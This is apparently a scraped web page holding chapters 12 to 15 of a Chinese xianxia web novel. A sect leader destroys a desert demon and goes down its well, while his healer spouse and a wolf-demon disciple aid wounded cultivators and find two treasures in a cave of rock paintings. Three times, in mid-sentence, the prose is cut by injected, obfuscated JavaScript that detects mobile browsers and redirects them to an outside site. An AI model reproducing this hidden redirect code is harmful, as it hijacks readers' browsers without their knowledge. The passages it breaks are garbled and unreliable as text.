他潜意识觉得,手里如果攥着那个此时呼呼大睡的人形止痛药,情|欲和声色滋味该是都无师自通的,毕竟男师娘一切俱有,还是疗愈圣体,而且柔弱无害,几乎无缺无瑕。 但周无戎看他师尊的反应不是这样的,这令他感到诧异。 他认为这是他师尊的问题。问天宗外的修士说秦戒是人不在无情道内,心在无情道里,看来所言不虚。 周无戎向来自信,他丝毫不觉得有些认知是他自己的问题。 * 沈缨饱睡了一觉,再醒来时发现秦戒提高了飞机速度……是仙鹤速度,他们很快要抵达大漠了。 他四处看,秦戒正在操控仙鹤降落,通天鼎悬在仙鹤脊背上,变得有单人床蚊帐那么大,秦尚提着本命剑在仙鹤的翅膀上提防着什么,见他起来还严肃地提醒:“沈缨,你呆在那别动,别跟前面几天一样探头往大地上看。” “好的!”沈缨站好不动,估计是底下的大漠尸横遍野,一副地狱光景,大哥爹总觉得他胆小如鼠,没准是觉得他看一眼就会晕过去。 周无戎则还在原地,这会是挺拔地站着,一手握着问天宗出产的结实灵剑,发梢和脖子上挂着的狼牙都在随风飘荡,见他看过来就眼睛明亮,主动告诉他,大漠上有一口冒着黑气的绿井。 沈缨便问他:“魔物呢?魔物长什么样?” “魔物还没出来。”周无戎神情沉着了些,“应该说,魔物吃饱餍足,暂时回到井里去吸收了。” 不多时,仙鹤在一片还是苍黄色的沙漠上降落,沈缨脚一沾沙子,就想到原著里秦戒和楚放是在山谷的淤泥里应战观天魔的,想来观天魔还没有造成太大的破坏…… 紧接着他一抬头,被眼前的场景震住了。 大约二十米的前方,有一扇巨门一样的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14215105|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界顶天立地地竖立着,生生隔开了两个世界。 在结界向西,那是一片乌漆嘛黑的墨绿沙漠,一口涌着黑雾的绿井塔一样耸立。 结界以东,则是他脚下站着的正常黄色大漠,混杂着骨灰一样的灰沙。 结界前有一个身影,裹着黑色的斗篷,似乎抱着什么东西跪着。 他们一行人向那身影走去,秦戒笃定地说:“那是我们问天宗的弟子,结界是临终前用灵核自爆催化所生的。” 秦尚率先上前半蹲下,低头去看那斗篷下的情形,静默一瞬,他轻轻揭开斗篷,露出一个怀抱幼童的问天宗女修。 她身上的灰白道衫布满了红绿的污渍,红者她血,绿者魔血,她的身体已化成石雕,是死前催动灵核透支所致,或许也是她怕自己的样子吓到了怀中的幼童。 她的右半张脸被魔物吃掉了。 她的身躯已化为石雕,那可怖的伤口切面便覆盖上了一层石灰,没有白花花的人体组织,而是呈现苍凉厚重的地质感。 她维持着死前的模样,垂着仅剩的左眼慈悲地看着怀里的幼童,幼童贴在她的怀里,怯怯地露出半张脸仰望着她。 秦尚改半蹲为半跪,伸手轻轻阖上她的左眼:“她羽化了。” 女修的身躯龟裂,化成灰烬随风洒落,灵核铸造的结界还在保护膝下的土地。 她消逝后,怀里的幼童倒在了秦尚的手里,他用灵力擦拭幼童已经凝固的脸蛋:“她没有幸存。” 秦尚将幼童以及女修的灰烬就地埋葬,秦戒走来,从乾坤袋里找出一块灰色的石碑立在坟包上,刻下问天二女碑五个字。 四人缄默地在墓碑前拜了三拜,还没拜完,天上就下起了粘稠的黑雨,秦戒运转着通天鼎笼罩在众人头顶,黑雨便无法沾到他们。 拜完起身,沈缨红着双眼朝结界外眺望一眼,目之所至,只见那口绿井出现了骇人的一幕,一个笼罩在黑雾里的“东西”从井口爬了上来,它有四肢,完全爬出井口后,它撕去身上的黑雾,身形依稀能认得出是个人形。 那就是观天魔。 沈缨喉结滚动了好几遭,吓得从乾坤袋里抓出了一把大勺紧攥在手里。 观天魔吃了许多人,初步化出了人态,但举止依旧狰狞,它像蛙一样四肢着地朝二女碑爬来。 沈缨起初看不清它的脸,畏惧还没那么强烈,待它爬近一点,只见它的脸是刚才他们祭拜的女修的右半张脸、以及女童的左半张脸拼成的。 沈缨倒抽一口冷气,比起恐惧,他更多感受到的是震撼和悲壮。 女修当是观天魔最后吃到的最强修士,它便本能地用她的脸化作自己的脸。 但女修死前放心不下怀里的女童,恰巧女童正是仰着半边脸望她,观天魔被她眼中最后牢记的景象影响,便用了女童的左脸来组成自己的脸部。 坐井观天的魔物和立世问天的修士杠上了。 13.第 13 章 观天魔越爬越快,看着是想一头撞上结界来,秦戒看向它背后远处的绿井,没有迟疑片刻,左手控制好悬浮在半空中的通天鼎,右手按上后颈,指尖闪过白光,头顶当即出现了一把发着光的白伞。 沈缨心跳一抽,瞪大眼睛看着他头上像莲花一样绽放的白伞,通天鼎是问天宗掌门的万能百宝箱,这伞才是秦戒的本命灵武,名字叫“知命”,一把二十四骨的白伞,应战时对手如果不如秦戒厉害,伞一开就能迅速把对手毁灭殆尽,但代价是会断掉一根伞骨。 原著里写二十四骨全断时秦戒会死,秦戒本人并不惜命,潜意识又有浓重的英雄牺牲情怀,遇到高阶魔物时他很少磨叽,总是果断开伞。 沈缨还记得鸡贼的作者爱搞命中注定,秦戒是二十四骨伞,楚放的本命武器就是二十四把灵剑,一剑一骨,全毁时也会死。原著里知命伞断掉十九骨后,楚放就拿自己的剑骨给秦戒的伞补上。 秦戒后来因爱生忧怖,知道自己伞骨俱断时,逆徒会赶在他面前用剑骨给他补上,他就是战死,逆徒也会死在他前头,于是能不用伞就不用了。 沈缨眼下仰望着那把断了七根骨的知命伞,且惊且心疼,他们赶来得早,观天魔还没有壮大,要是按照原著里的时间,秦戒是再卧床一个月才赶来,那时观天魔的绿井早就扩展成了水坝,吞噬了大漠,又吞咽了大半个人族居住的山谷。 沈缨想着观天魔还没有壮大,秦戒应该会用普通的一招一式去除魔,受点伤费点时间也无所谓,毕竟他这个血包都跟来了,却没想到秦戒一上来就开知命伞。 “兄长,无戎,你们补结界,沈缨你保护好自己,不要走出通天鼎的保护圈,我去收它。”秦戒一句话安排妥当,握着伞柄就走出了通天鼎的防护范围,漫天的黑雨淅淅沥沥地砸在伞上,黑水白骨,对比鲜明。 沈缨屏住呼吸,看到观天魔逼近到了临界点,后腿一蹬猛跳要撞上结界,秦戒人在结界前,速度比它快些,穿过结界迈进黑稠的地面,一举挡住了观天魔,不被冲击反而迎势扣住了观天魔的颈部,手里的伞光芒大作,刺眼非凡。 沈缨没被这正道的光闪瞎眼,也快被观天魔爆发的尖叫震聋耳朵了,等视听归于平静,一睁眼,只见观天魔消失不见,秦戒那把知命伞悬在了绿井上空,强行阻止了井口封闭。 秦戒只身回来,脸色有些苍白,闪现到沈缨面前主动伸手:“麻烦了……” 沈缨赶忙丢掉手里的大勺两手握住他一手,卯足劲地催生出银丝疗愈他:“一点都不麻烦,大佬,你是我的神!” 一旁秦尚皱眉:“留嗔,你把伞挡在那想做什么?” 周无戎边听沈缨叽里咕噜的声音,边问候他师尊的安好,边回想刚才天崩地碎间他所看清的一幕。 他看到观天魔畸形的眼睛里留下了一道黑色的液体,稍纵即逝,观天魔便在知命伞下被粉碎成了齑粉。 按照人族的认知,从眼里流下的应是眼泪,但那是魔物。 但很快师娘的一声“啊”打断了他的思绪,“啊”的声调峰回路转,缠绵撒娇。 因他师尊说:“我要下井,去那秘境里探虚实。” 而师娘立即应:“我跟你一起下去。” 师尊说不行,他就这么“啊”了长长一声。 周无戎还是第一次听见有人类发出这种宛转的单音节,十分稀罕。 沈缨则是紧紧握着秦戒的手,满脑子只想自己能帮上什么忙。 强悍的高阶魔物都有它们藏身的秘境,仙盟靠着历代血汗查验出了一个规律,高阶魔物的秘境是相连的,它们是一群“岔道”,曲折复杂地连向一条最终的“主道”。 仙盟将这个处于“主道”地位的秘境命名为“须弥境”。 那群最初的探索者猜测只要控制住须弥境,就可能能控制其他的秘境,届时顺藤摸瓜,也许能封印或清剿那些高阶魔物,以此护住三界太平。 后来猜测验证成真,那群人便从“惊世骇俗的疯子”变成了“惊才绝艳的天才”,他们创立了仙盟元老会,同时各立门户,演变出了问天墨山禄水三大宗派。仅仅三代后,他们的后继者便搞出了杂交实验基地晴朗谷。当然,这是后话了。 此刻观天魔已死,绿井被秦戒拿伞堵住还没有彻底湮灭,秘境入口就还在。秦戒不会耽误时间和浪费机会,他一定会进入绿井,顺着通道去尝试寻找须弥境,或者寻找其他高阶魔物的秘境,能多灭一只,苍生就能免受一只巨型魔物的屠戮。 原著里他没有来得及进入绿井,但不久后遇到下一个魔物,他就义无反顾地进去了。 此去危险难以言喻,秦尚自不必说,打虎亲兄弟,他自然是要跟老弟一块下井去除魔,沈缨相信主角这一趟下去不会有生命危险,心里就不怕和他们一块共进退,但兄弟俩都反对。 秦尚一边补结界一边不留情面地呵斥:“你跟只猫一样弱,跟我们一块进秘境能捱几天功夫?” 秦戒转头吩咐狼崽,安排得果断:“无戎,待结界补好,你保护你师娘往东去,去那晋国西境看看受灾情况,留在那里等我们消息。” 沈缨嚷了一声不,被周无戎的声音盖住了:“是,弟子遵命,弟子一定以性命保护师娘安全,师伯师尊且放心。” 沈缨又抗议了一声不,急得简直要跳脚,他宁可跟着下井也不乐意和周无戎待在一块,结果挨了秦尚大爹气势爆表的训斥和秦戒的劝阻,凶得他脖子缩了缩,眼前也发黑。 他只好小声嘀咕秦戒:“你之前劝我下山的时候,可是说会寸步不离地保我的。” 秦戒还挺有理:“这不是留下无戎保护你吗?魔物秘境危险,我和兄长只是去浅浅地一探,不会耽误太久时间,很快就会去找你们汇合的。” 沈缨说不过他,秦戒又说:“小馋,你去那人间城镇也别闲着,多走多看多学习知道吗?” 沈缨:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14228699|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 服了,教导主任。 转念他又想起那西境的山谷里还有法宝,原著里秦戒在山谷除魔,之后丝滑地得到了一灯一画,现在剧情出现点偏差,他照样可以帮点小忙,那法宝就由他去寻找好了。 他这才改口应了好,使劲疗愈秦戒,还抬头去问秦尚:“大哥,待会我也给你疗愈一下吧?回一下血!” 秦尚没好气:“你待会疗愈完留嗔还站得住再说。” “没问题,你说的!” 沈缨自开局使用疗愈技能后,生命值就没有恢复回满额,此前都是在透支后缓慢自然回升,这回他直接找系统用积分兑换生命值,咬咬牙兑换了二十万积分,回升了二十点生命值,又在秦尚手上用掉了。 天空中的黑雨越下越稀,直到黑雨完全停止,秦戒也不再耽误,收回通天鼎,在放晴的阳光下嘱咐他:“你要和无戎互尊互助,长护幼,幼敬长,不能互生嫌隙甚至争吵斗殴。” 沈缨汗颜:“哦!” 补完结界的周无戎走来,满脸肃穆:“弟子谨记教诲。” 秦戒点了点头:“互相成长,互相担待。” 他像是留给沈缨任务和考验,交代完就和秦尚离去,沈缨趴在结界上目送他们头也不回地走进绿井,那把知命伞在井口消失,绿井便也随之凭空消失了。 沈缨眼睁睁看着他们纵身一跃,大漠上覆盖的黑浊稠物退潮一样消失,还回大地苍黄朴实的原貌,幸而身旁竖立着二女碑,墓碑在,便有英灵记得大地的血肉和清创。 沈缨心里吊着的一口气越发沉,人更是因疗愈过度而头重脚轻,他扒拉着结界往下滑,想坐下来摸摸存储了太阳温度的正常沙子,结果手肘被扶住了。 周无戎问他:“师娘,倘若弟子注入灵力给您,能给您疗愈,或为您补充体力吗?” 这小子不那么乖的,腹黑狼居心不良,一定是想讨好师长,收买人心。 沈缨不上他的当,警惕得草木皆兵:“别瞎搞,不用你扶,松开,松开。” 周无戎听话地撒手,沈缨如愿以偿地坐到了沙子上,他捧起一把,感受异世的生命力,心境不知不觉和初来时大不相同。 周无戎跟着蹲在他身边,看他手里流逝的沙子,想的倒是流沙易散,朱颜易碎。 休息半晌后,沈缨拍拍手爬起来,周无戎老伸着手在他眼皮子底下晃,一副时时刻刻给搭一把的样子。 他看得无语,忍不住拍了一下他这多余的狗爪子:“你师娘我好得很,你不用这么反应过度。” 周无戎沉静地应了一声是。 同一时刻,系统热情地播报: 【判定本次拍打有效!请收看第一个主线小任务的进度:鞭打反派2/9999】 【本次奖励:50积分,余额共有:79.7385万积分】 沈缨不可思议地看了看周无戎平静的脸。 他搞不懂他。 14.第 14 章 孤剑穿大漠。 周无戎把高马尾束成发冠,御剑飞行,沈缨站他身后,不时往下方看看,放眼苍茫开阔,几乎没有活物。飞了半天日居中,不远处晋王朝的军防长城如同山脊线,近低处大漠上孤零零的骆驼像片枯秋叶。 沈缨看向那山脊,他虽然灵力不如何,但也能感觉到那山脊上有强大的结界。三界里,人界到处布满结界,只要有人族居住,几乎就有修士前来布下防御,守护生民免遭魔物吞噬。 西境山脊上的结界那么强,不知道凝聚了多少代修士的灵核。 周无戎御剑的速度慢下来,以灵化形,朝天空放飞出一只问天宗的白鹤图腾,向结界内的同门修士释放信号,很快山川上冲起同样的白鹤,他们便顺利进入结界内的疆域。 此时镇守在山脊上的修士是问天宗的弟子,沈缨刚从剑背上下来,就看到四个灰头土脸的年轻人冲上来,把他和周无戎团团围住。 弟子们照面就认出他俩是谁,团团喊着“无戎师兄”和“沈师娘”,这些流散在外的弟子虽然没有参加前阵子的结契大典,但他们有伙伴在场,通过留影符见过他们。 沈缨被叫得不好意思,看他们个个挂彩的样子,便让他们伸手来:“我略通点医术,你们把手给我,我给你们治疗一下。” 周无戎在一旁看着,脸上还挂着和煦的笑,但身上气压变低了些。 沈缨只恨不得把正派角色们全都治愈,他还发现治疗这些小年轻时自己的生命值损耗得特别少,不像疗愈秦戒时那么费时吃力,可见秦戒的伤势是有多无底洞,连他这种超级充电宝都没法帮他速充。 待治愈了他们,弟子们嗷嗷道谢,沈缨快被他们捧上天了,无措地赶紧拿手肘撞一下周无戎,示意轮到他出面问正事,狼崽也就自觉站他跟前和弟子们说话。 谁知沈缨听见系统又冒泡,言简意赅地播报: 【判定肘击有效~80积分~】 沈缨:“???” 他满头问号地看周无戎的后脑勺,心想这是什么敏感品种的狗?他只是用手肘搁楞他一下啊,这家伙怎么又应激了? 不过这在当前不重要,他听着周无戎和弟子们互通情报,很快把此地的情况听了个大概。 凡是高阶魔物出没的地方,势必会召唤出大批低阶魔物出巢,高阶魔无法第一时间穿透厚实的结界降临人界,低阶魔不然,它们原本就藏在水陆里,躲在暗处与人族共存,性质和蚊蝇蝗鼠差不离。 低阶魔没有智商,只有族群本能,天然能被高阶魔召唤和操控,单只低阶魔物捣乱时破坏性较弱,人族出动军队也能除之,但它们群起时就会在人界闹出灾难。 观天魔在大漠上吞噬了所有不幸出行的将商和修士,结界之内的山川河谷则是陷入了群魔乱舞的大混乱,周游在这的修士们和普通人共同作战,伤亡虽然没有前线惨重,但也触目惊心。 这四个弟子说道:“前天这里还有三百二十七个修士,三百一十个朝西去了大漠,剩下我们十七个修为弱的守在这里。昨天冒出了许多魔物,我们分散围剿,今早汇合时,能站着的只剩我们五个同门,还有一位禄水宗的道友幸存,但他受了重伤,我们另一位同门正在照顾他。” 沈缨便从周无戎身后探出头:“还有受伤的?那快带我去看看!” 弟子们马上带路,就在不远处的瞭望塔里,沈缨一扎进去就闻到一股血腥味,只见木床上躺着个只穿裤子的血糊糊的年轻人,穿灰衣的问天宗弟子紧握着他的右手在输送灵力,伤者的右臂上纹有一条银龙,从肘部蜿蜒到手背去,是禄水宗弟子特有的标记。 沈缨赶紧过去握住那条银龙,身上催生出来的银丝裹住伤患,立竿见影地活死人肉白骨,那禄水宗的弟子原本半死不活,忽然全身伤口加速愈合,干裂的嘴巴里传出了闷咳声。 问天宗的弟子目瞪口呆地看着他,直到周无戎又轻又低的声音响在他们耳畔:“诸位,师娘的能力是我们师门的珍宝,你们今日所得和所见,切记不要外传,对同门中人也要保密。” 几个弟子纷纷点头。 周无戎瞳孔里映着沈缨专注的侧脸,他现在和他们一样穿着问天宗的灰色道衫,施展疗愈技能时,一身灰扑扑的装束因人变得流光溢彩,像是披了身金缕衣。 但他看得有些窝火,强迫自己看向那个伤者。 周无戎冷冷地盯着那人手臂上的银龙。 不会是个敌对宗门的甲乙丙丁,也配让他师娘大费周章地拯救? 沈缨一口气把禄水宗弟子的伤治好七八成,剩下一点的伤靠这年轻人自愈应该是没问题了,他便深呼吸一会,松了手站起身来:“唉……看他造化了,他伤得不轻,不知道什么时候才能醒过来。” “此人外伤全愈合了,师娘就不必再担心了。”周无戎来到他身边轻声,“师娘,您还好么?要留再此地睡一觉吗?” “不用不用,我不累。”沈缨摆手,想到外面不知道还有多少小少年小青年正在生死搏战、遍体鳞伤,就转身示意周无戎一块走,“无戎,你跟我一起到别的地方看看吧,看看有没有我们能帮上忙的。” 周无戎当即应了好,侧身再和那五个弟子叮嘱几句,便拥护着沈缨离开。 沈缨临走前和他们挥挥手,弟子们神采焕发地追着相送,一群小粉丝似的。 周无戎再次御剑,飞上天空时对他说:“师娘,弟子看您神情略有疲惫,您不妨靠一下弟子后背,歇一歇。” “不用!你不用关心我,你只需要从这高空上俯瞰下去,看看有哪个地方有危险,有需要援助的就下去。”沈缨立马拒绝,在他背后把他从脑袋顶到脚后跟上上下下看了两遍,怀疑再触碰几下,不知道又会让这头狼崽触发什么新的应激点。 周无戎温和道:“是,但师尊交代弟子要妥善照顾您,您一定不要透支自己,弟子怕您的身体支撑不住过度的救援。” 沈缨哼了一声:“我有分寸的。” “好,是弟子唠叨了,您知道的,弟子一向聒噪,师娘别介意。” 周无戎态度着实摆得恭顺谦卑,沈缨不承认自己其实很吃这一套在他面前低头温柔的态度,他只是又哼一声。 * 不知是不是因为观天魔被秦戒清剿干净了,这片西境山川上的低阶魔物似乎都变少了。周无戎御剑飞了一路,从晌午飞到太阳快下山都没有停下去过,哪怕是俯瞰到地面有些许魔物,他也只是站在剑上远程攻击,就将那些低阶魔物扫荡干净。 途中也路过不少修士,沈缨的视听不如周无戎,看不清地面上的修士伤势如何,周无戎通通说是轻伤,反正无需他们下去。 沈缨半信半疑:“真的假的?” 周无戎很恳切:“真的,弟子若是有见到垂危的道友,怎敢见死不救呢?那岂不是辜负了师尊的教诲和师娘以身作则的教导。” 沈缨心里咿了一大声。 直到夜色快要降临,周无戎才打算找地方降落:“师娘,这里山川旷丽,弟子眺望到前方有一处壮美的山谷,我们就在那稍作整顿好吗?” 沈缨探头向前眺望,只见快要落下的太阳正挂在周无戎所指的山峰上,像一颗糖心蛋慢慢淋下来。 他应了声好,情不自禁地说:“那太阳刚刚好挂在山尖上,真漂亮。” “弟子来时翻看过这一代的地图和史册,那片山谷在很久以前是个叫神医谷的地方,是个人间古城,后来那里的人迁徙了。现在它叫临阳山谷,景致很好,只是地貌陡峭,不适合人族生存。” “临阳山谷。”沈缨觉得这地名有些熟悉,把这名字默念在唇齿间咀嚼了好几遍,突然想了起来——这地方就是原著里秦戒和楚放找到两件法宝的地方! 他通身的疲惫一扫而空,搓搓手兴奋起来,真是踏破铁鞋无觅处,该有的总会有。 周无戎也感觉到了他的快乐,虽然不明所以,但心里窝的火熄了大半。 还有一半火,适时再熄灭。 朝霞剩半边天时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“对不起师娘。”周无戎立即转身来搀他,反手扶住他的小臂,另一手打个弹指聚起光芒,荧光顿时在他掌心显现,徐徐照亮了整个山洞,“我刚才看入迷了,师娘,你看,这两边的岩壁上全是岩画,人类的画。” 沈缨的眼睛从周无戎的指尖转移向四方—— 岩壁上铺满石彩,用天然矿物磨碎成颜料,后人用烛火一照,就看到一个不曾褪色、流光溢彩的故事。 “这就是岩画,我之前只在录书石上看过几句,这是我第一次亲眼见岩画。”周无戎下意识拉着沈缨的手往前去看仔细,“这是人类的遗迹,真壮丽,幸好魔物没有将此处毁去,师娘你看,墙上画着美景和美人,一个……是一对人类的故事。” 沈缨“啊”了一声。 一对人类,一对男子。 顺着熠熠生辉的岩画往里看,周无戎在石墙下方发现了两行字,那似乎是刻画人的署名,他觉得更有意思了,把那些字一个一个念了出来:“森山玉灯,生死百年,洪熹同衾,昭光共穴,于飞于合,同去同归。” 周无戎抬头再看一眼岩画,看到画上两个男人一直手拉手,他点点头,明白了:“画的是一对人类的一生。” 沈缨从北墙看到南墙,看明白了,人间一对夫夫,同生共死。 他也点点头,心绪万千,说话也有些磕巴:“画挺好、好看的。” 岩画美得叫人窒息,沈缨在满目光彩里忽然想到个好玩的念头,不知道这岩画上的是不是其他小说里的纸片人,被作者拉过来客串副本,只言片语组成无限遐想的红尘。 正想得好玩,周无戎又说起话来:“师娘,您以前周游过人间吗?见过许许多多像这样稀有的东西吗?” 沈缨下意识地回道:“那当然有啊。” 他曾在现代社会借由小小的手机周游全球,云游也是游,就是容易忘。 “是么?真好……弟子这是第一次亲眼目睹人族的红尘。” “第一次。” 周无戎不自觉地重复了一遍。 像是冥冥之中替沈缨补上了真实的答案。 15.第 15 章 沈缨在这刻满岩画的山洞里待了一晚,欣赏归欣赏,他更想从中找到法宝,便不时央周无戎用灵力探探,周无戎无有不应,话比平时密,边寻宝边看岩画,感想还挺多,有些地方感性得让沈缨心里一抽。 这狼崽似乎很想讨个老婆。 尽管这会他的年纪在妖族里算是未成年,但早恋之心宣之于口,透露着一股并不那么讨人厌的朦胧渴慕。 原著里也确实有描写他曾经想过找个两情相悦的,只是周无戎心思复杂,择偶要求大概也奇特,没见他从登场到退场有对谁心动过。 在路过一面尤其缱绻的岩画时,周无戎驻留的时间更久:“三界六道以人为尊,人族情通天地,感化万物,于是生生不息持宰万物,这个陵墓或许能保留百代千年,将来还会有后来人来到这里,到那时这些岩画也不会褪色。” 沈缨听出了他由衷的艳羡,又被他这副乖巧单纯的样子蒙蔽了,心里便想着可惜周无戎的母族被灭了个干净,不然他也许还能找一头小狼狗勾搭。 末了,周无戎在山洞的尽头感应到一涡不易察觉的灵力波动,一番小心操作后,从一樽石像里取出一盏灯、一面墙后找到一卷画。 修真界中少有天生地养的自然法宝,多的是人造的器物,融合二者的法宝更少。 眼下他们找到的这两样威力寻常,却属稀罕,都是从前某些人所制,因着执念恒长不灭,魂魄徘徊不去,数年沉淀下来,在此地为山川所养,为天地所炼,成了不同寻常的器物。 那盏玉制的灯镌刻有森山二字,以少许法力注入便有万顷灵光,破雾驱瘴。 那画却是有些邪门,画轴上刻着明烛二字,画上是一片浓黑的墨色,与其说是画不如说更像一片满是污渍的废纸,以少许灵力注入便有浓雾溢出,遮蔽方圆无法视物,用其他寻常法宝和手段还无法驱散,得拿森山灯一照才能驱散。 周无戎试出这两样法宝的效果后,便主动把灯和画收好交给沈缨:“师娘,这意外之物是您指引弟子所得,还得请您保管。” 沈缨先摸了摸那灯,可惜道:“要是你师尊来得及找到这灯再进绿井就好了,提在手里往里一站,不得照得亮堂堂的,什么魑魅魍魉都没地方能藏。” 周无戎听罢,也不知道脑补了些什么,眼神又有些深邃。 沈缨没注意他,一边叹惋一边把东西收进乾坤袋,又嘟囔道:“要是还能找到厨房好物类型的法宝就好了,比如绝世砧板、稀世菜刀之类的。” 周无戎闻言便笑了:“师娘在师门内怎么不提,弟子尽可给您造出来啊。” 沈缨被这话堵得一梗,突然觉得周无戎不是狼,更像条蛇,老是能顺杆往上爬。 他假装埋头收纳:“好了好了,寻宝完成,我们走吧,都不知道外面什么情况了。” 整理乾坤袋时,他那灵宠小鸟不弃从小鸟窝里呼啦啦地飞出来,照面就踩到沈缨头上去,气势凌人地大咕一声。 沈缨便顺手把它从脑袋上捉下来,塞到怀里撸它脑袋,一手找出一袋给它准备的干肉片,捏了一片投喂:“不弃乖,别闹啊。” 不弃化叫为吃,真老实地收了翅膀缩在他衣襟里,一边嚼一边鼓着黑米似的眼睛瞪着周无戎。 周无戎不在意这只灵宠每次都看他不顺眼,他看着沈缨收拾好俏生生地站在面前,一时心潮起伏,伸手乞讨:“师娘,你还有带其他干粮吗?有可以舍给弟子吃的吗?” 沈缨愣了一下,虽然不太晓得周无戎怎么突然想吃东西,但他立马扒拉开乾坤袋,亮出其中专门储存食物的一格子,两眼放光地向食客展示:“有啊有啊。” 天晓得沈缨内心多想向问天宗的人展示他的好厨艺,他很想不遗余力地展现自己是有用的,怎奈他的厨艺在这里顶不上用,好吃东西还要被秦戒叨叨有碍修行。 眼下的顾客虽是周无戎,可有顾客总好过没光顾,沈缨心里开心,没等他问就推销起来:“你要吃哪种?我出来时做了一些饭带着做储粮,想着要是秦戒在路上又捡了小孩子就可以给他们吃,我用竹子做罐罐保存起来了,主粮有竹筒饭饺子包子拌面捞粉条,荤的有焖肉腌条炸片片,素的就多了,太周山的素菜食材多一点……” 说了好一会他才回神:“无戎,你也不需要吃东西啊?” 周无戎正色:“弟子需要的,弟子未弱冠,弟子正年少。” 沈缨语塞,觉得哪里不对,但又反驳不了,末了递给周无戎包子加化浊丹,自己手里也揣了一笼,两人一鸟在流光溢彩的岩画下吃了约莫十分钟。 “好吃。” “那是。” 沈缨拍拍手,眼睛弯了起来,吃饱后觉得精神抖擞,大拇指往出口一戳:“那吃饱上路了?” 周无戎愣了愣,片刻才回神:“遵您的命。” 他御剑带师娘离开山洞和瀑布,恰好一夜过去,天边鱼肚白,不过是一夜过去,出了山水,一时竟觉得隔了一世,含着铁锈血腥味的风呼啸时,乍然就品出乱世中蜗居一方天地,尝一口热饭的太平滋味的妙处来。 * 两件法宝揣到兜里,沈缨心里就放下了一块石头,安安心心地准备等待秦戒回来,料想他和秦尚两人兄弟联手很快就能回来,出不了多大麻烦。 沈缨同周无戎一起在临阳山谷的上空飞了半天,大地上的魔物比昨天见到的更少,两人便在午后降落到一个问天宗弟子齐聚的营地。 沈缨去疗愈受伤的修士,周无戎尽职尽责地做着保镖加小厮的活,跟屁虫似的,口头禅就是一句师娘吩咐。 这般忙活了十天,沈缨和周无戎接连经过了四个营地,问天宗穷,在外的弟子们也不讲究,营地都是穷穷的农院,在荒草乱石堆里用木头茅草搭起一座座坚固的小避风港。 沈缨每到之处便帮着疗愈营地里的弟子,直到这天,天上正巧下起了冷雨,他出门时冷不丁地淋了半身雨,打了几个喷嚏。 他原本想出发去下一个营地,周无戎说什么都不肯,于是便留在农院里休息一晚。 沈缨也确实有些累了,是夜裹着薄被侧躺蜷在床上,周无戎在不远处的门前简单地铺层干草打坐,浑身上下都透着很靠谱的模样:“师娘,弟子会代师尊守着您,您就放心入睡吧。” 沈缨哦了一声,眯着眼看他,越看越觉得周无戎像乖乖的看门狗。 他这短短二十年里就没见过这么乖的后辈。 管不了周无戎心里怎么想的,只看他怎么做,怎么说,沈缨确实不讨厌他。 沈缨呆呆地看了半晌,雨声滴滴答答,眼皮渐沉,他把被子拉到眼睛上,蒙头蒙脸地蜷成一团睡着了。 夜半时雨停,周无戎睁开眼,看一眼外面的月景,再看一眼老老实实沉睡的师娘,山容水意,花面柳意曲线,别是一番不可言的趣味。 周无戎安静地想着些有的没的,本来安谧宁和,谁知远处忽然传来一阵脚步声,一下踏破了夜色。 周无戎脑袋上顿时冒出了两只狼耳朵,高竖着听远处的声响。 “借宿。” “道友是……墨天宗的?” “不错,我宗在这一片荒僻地带没有据地,原本不想打扰贵派,但我们不幸负伤了。” “道友快请进。” 周无戎有些不高兴地抖了抖狼耳朵,看了眼床上呼呼大睡的沈缨,忽然想把他一块弄出这里,不然明天他起来见到有新的伤患又要去疗愈别人。 每次见他这师娘傻兮兮地握别人的手他都不高兴,若是治愈的是师门中人,那也没办法说什么,但其他门派,尤其墨山宗禄水宗的,他心里极其不快。 人族说有恩必还,有仇必报,周无戎很认可,灭他族者他来日一定要将其翻倍屠戮,问天宗收留他,他便想着来日要助问天宗超过墨山和禄水,成为修真界第一强盛门派。 周无戎翻阅无数录石书,数次看到那两个门派仗势欺压问天宗,墨山宗如今的少主更是从多年以前就一直和秦戒作对,实属该死。 问天宗的长老弟子都太过于仁义,一直这么仁善下去,便还是会被前面那两个大门派欺压。 讲那么多温良信义做什么呢,不如杀之肢解之,问天宗超不过他们,那就让他们掉下来,一直掉到无力回天,只能屈居在问天宗脚下为止。 周无戎又竖起了狼耳,他听到那远处墨山宗的人说:“你们后院里有妖气。” 问天宗的弟子笑道:“是吗?道友五感真是敏锐,不过那不是妖气,是我们内门二师兄的灵息,他奉我们宗主之命到西境来救灾的。” “哦,是秦宗主之前收的狼妖?秦宗主还是太善心大发了,非我族类,其心必异,竟能这么不加拘禁地将一只妖怪放在宗门里,还堂而皇之地收为内门弟子,传出去实在丢了仙盟门派的脸面啊。” “这位道友,请慎言,脚下这片土地的安宁有你们的帮助,也有我们无戎二师兄的守护,他和你都是同道中人,哪来的非我族类?大家都是殊途同归!” 那墨山宗的弟子笑了:“行,是我口误,道友莫怪。” 